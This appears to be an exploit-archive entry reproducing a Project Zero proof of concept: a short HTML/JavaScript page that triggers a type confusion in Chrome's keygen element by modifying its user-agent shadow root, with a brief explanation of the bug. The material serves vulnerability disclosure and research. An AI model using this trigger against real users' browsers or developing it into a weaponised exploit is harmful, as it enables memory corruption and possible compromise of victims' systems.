Google Chrome - HTMLKeygenElement::shadowSelect() Type Confusion Exploit

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=994
 
Chrome bug:
https://bugs.chromium.org/p/chromium/issues/detail?id=666246
 
PoC:
-->
 
<keygen id="keygen_element" style="position:absolute; height: 100px; width: 100px;">
<script>
var range = document.caretRangeFromPoint(50, 50);
var shadow_tree_container = range.commonAncestorContainer;
shadow_tree_container.prepend("foo");
keygen_element.disabled = true;
</script>
 
<!--
What happens here:
1. caretRangeFromPoint() allows accessing (and modifying) userAgentShadowRoot from JavaScript
2. HTMLKeygenElement::shadowSelect() blindly casts the first child of the userAgentShadowRoot to HTMLSelectElement without checking the Node type.
-->

#  0day.today [2018-03-09]  #